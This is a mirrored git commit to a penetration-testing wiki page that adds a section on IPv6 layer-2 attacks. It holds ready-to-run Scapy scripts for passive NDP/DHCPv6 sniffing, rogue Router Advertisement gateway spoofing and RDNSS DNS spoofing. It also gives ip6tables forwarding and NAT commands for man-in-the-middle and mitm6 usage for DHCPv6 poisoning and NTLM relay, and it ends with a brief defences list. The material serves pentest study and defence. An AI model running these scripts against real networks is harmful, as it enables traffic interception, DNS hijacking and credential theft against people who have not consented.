mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Add content from: Legless: IPv6 Penetration Testing
This commit is contained in:
		
							parent
							
								
									236d9b7376
								
							
						
					
					
						commit
						3237c2a4fd
					
				@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried:
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
 | 
					After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## IPv6 Local Network Attack Techniques
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix.  All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### System Tuning for a Stable Lab
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					# Enable promiscuous mode to capture all frames
 | 
				
			||||||
 | 
					sudo ip link set dev eth0 promisc on
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Ignore rogue Router Advertisements & Redirects coming from the segment
 | 
				
			||||||
 | 
					sudo sysctl -w net.ipv6.conf.all.accept_ra=0
 | 
				
			||||||
 | 
					sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Increase fd / backlog limits when generating lots of traffic
 | 
				
			||||||
 | 
					sudo sysctl -w fs.file-max=100000
 | 
				
			||||||
 | 
					sudo sysctl -w net.core.somaxconn=65535
 | 
				
			||||||
 | 
					sudo sysctl -w net.ipv4.tcp_tw_reuse=1
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Passive NDP & DHCPv6 Sniffing
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet.  The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					#!/usr/bin/env python3
 | 
				
			||||||
 | 
					from scapy.all import *
 | 
				
			||||||
 | 
					from scapy.layers.dhcp6 import *
 | 
				
			||||||
 | 
					from datetime import datetime
 | 
				
			||||||
 | 
					from colorama import Fore, Style, init
 | 
				
			||||||
 | 
					import argparse
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					init(autoreset=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Human-readable names for protocols we care about
 | 
				
			||||||
 | 
					DHCP6_TYPES = {
 | 
				
			||||||
 | 
					    DHCP6_Solicit:    'Solicit',
 | 
				
			||||||
 | 
					    DHCP6_Advertise:  'Advertise',
 | 
				
			||||||
 | 
					    DHCP6_Request:    'Request',
 | 
				
			||||||
 | 
					    DHCP6_Reply:      'Reply',
 | 
				
			||||||
 | 
					    DHCP6_Renew:      'Renew',
 | 
				
			||||||
 | 
					    DHCP6_Rebind:     'Rebind',
 | 
				
			||||||
 | 
					    DHCP6_RelayForward:'Relay-Forward',
 | 
				
			||||||
 | 
					    DHCP6_RelayReply: 'Relay-Reply'
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					ICMP6_TYPES = {
 | 
				
			||||||
 | 
					    ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
 | 
				
			||||||
 | 
					    ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
 | 
				
			||||||
 | 
					    ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
 | 
				
			||||||
 | 
					    ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
 | 
				
			||||||
 | 
					    ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
 | 
				
			||||||
 | 
					    ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
 | 
				
			||||||
 | 
					    ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
 | 
				
			||||||
 | 
					    ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
 | 
				
			||||||
 | 
					    ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
 | 
				
			||||||
 | 
					    ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def handler(pkt):
 | 
				
			||||||
 | 
					    eth_src = pkt[Ether].src if Ether in pkt else '?'
 | 
				
			||||||
 | 
					    eth_dst = pkt[Ether].dst if Ether in pkt else '?'
 | 
				
			||||||
 | 
					    ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
 | 
				
			||||||
 | 
					    ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    # Identify protocol family first
 | 
				
			||||||
 | 
					    for proto,(desc,color) in ICMP6_TYPES.items():
 | 
				
			||||||
 | 
					        if proto in pkt:
 | 
				
			||||||
 | 
					            break
 | 
				
			||||||
 | 
					    else:
 | 
				
			||||||
 | 
					        if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
 | 
				
			||||||
 | 
					            for dhcp_t,name in DHCP6_TYPES.items():
 | 
				
			||||||
 | 
					                if dhcp_t in pkt:
 | 
				
			||||||
 | 
					                    desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
 | 
				
			||||||
 | 
					            else:
 | 
				
			||||||
 | 
					                return  # not a DHCPv6 message we track
 | 
				
			||||||
 | 
					        else:
 | 
				
			||||||
 | 
					            return  # not interesting
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
 | 
				
			||||||
 | 
					    print(f"  MAC  {eth_src} -> {eth_dst}")
 | 
				
			||||||
 | 
					    print(f"  IPv6 {ip6_src} -> {ip6_dst}")
 | 
				
			||||||
 | 
					    print('-'*60)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					if __name__ == '__main__':
 | 
				
			||||||
 | 
					    argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
 | 
				
			||||||
 | 
					    argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
 | 
				
			||||||
 | 
					    argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
 | 
				
			||||||
 | 
					    a = argp.parse_args()
 | 
				
			||||||
 | 
					    sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Router Advertisement (RA) Spoofing
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery.  If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					#!/usr/bin/env python3
 | 
				
			||||||
 | 
					from scapy.all import *
 | 
				
			||||||
 | 
					import argparse
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					p = argparse.ArgumentParser()
 | 
				
			||||||
 | 
					p.add_argument('-i','--interface',required=True)
 | 
				
			||||||
 | 
					p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
 | 
				
			||||||
 | 
					p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
 | 
				
			||||||
 | 
					p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
 | 
				
			||||||
 | 
					p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
 | 
				
			||||||
 | 
					p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
 | 
				
			||||||
 | 
					args = p.parse_args()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					lifetime = 0 if args.revert else args.lifetime
 | 
				
			||||||
 | 
					ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
 | 
				
			||||||
 | 
					      ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
 | 
				
			||||||
 | 
					      ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					send(ra,iface=args.interface,loop=1,inter=args.interval)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					To actually **forward traffic** after winning the race:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					sudo sysctl -w net.ipv6.conf.all.forwarding=1
 | 
				
			||||||
 | 
					sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
 | 
				
			||||||
 | 
					sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### RDNSS (DNS) Spoofing via RA
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA.  Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					#!/usr/bin/env python3
 | 
				
			||||||
 | 
					from scapy.all import *
 | 
				
			||||||
 | 
					import argparse
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					p = argparse.ArgumentParser()
 | 
				
			||||||
 | 
					p.add_argument('-i','--interface',required=True)
 | 
				
			||||||
 | 
					p.add_argument('--llip',required=True)
 | 
				
			||||||
 | 
					p.add_argument('--dns',required=True,help='Fake DNS IPv6')
 | 
				
			||||||
 | 
					p.add_argument('--lifetime',type=int,default=600)
 | 
				
			||||||
 | 
					p.add_argument('--interval',type=int,default=5)
 | 
				
			||||||
 | 
					args = p.parse_args()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
 | 
				
			||||||
 | 
					      ICMPv6ND_RA(routerlifetime=0)/
 | 
				
			||||||
 | 
					      ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					send(ra,iface=args.interface,loop=1,inter=args.interval)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### DHCPv6 DNS Spoofing (mitm6)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS.  [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**.  This unlocks:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* NTLM relay attacks (WPAD + DNS hijacking)
 | 
				
			||||||
 | 
					* Intercepting internal name resolution without touching routers
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Typical usage:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Defences
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **RA Guard / DHCPv6 Guard / ND Inspection** on managed switches.
 | 
				
			||||||
 | 
					* Port ACLs that allow only the legitimate router’s MAC to send RAs.
 | 
				
			||||||
 | 
					* Monitor for **unsolid high-rate RAs** or sudden **RDNSS changes**.
 | 
				
			||||||
 | 
					* Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## References
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
 | 
				
			||||||
 | 
					- [mitm6](https://github.com/rofl0r/mitm6)
 | 
				
			||||||
 | 
					- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
 | 
				
			||||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
 | 
					- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
 | 
				
			||||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
 | 
					- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user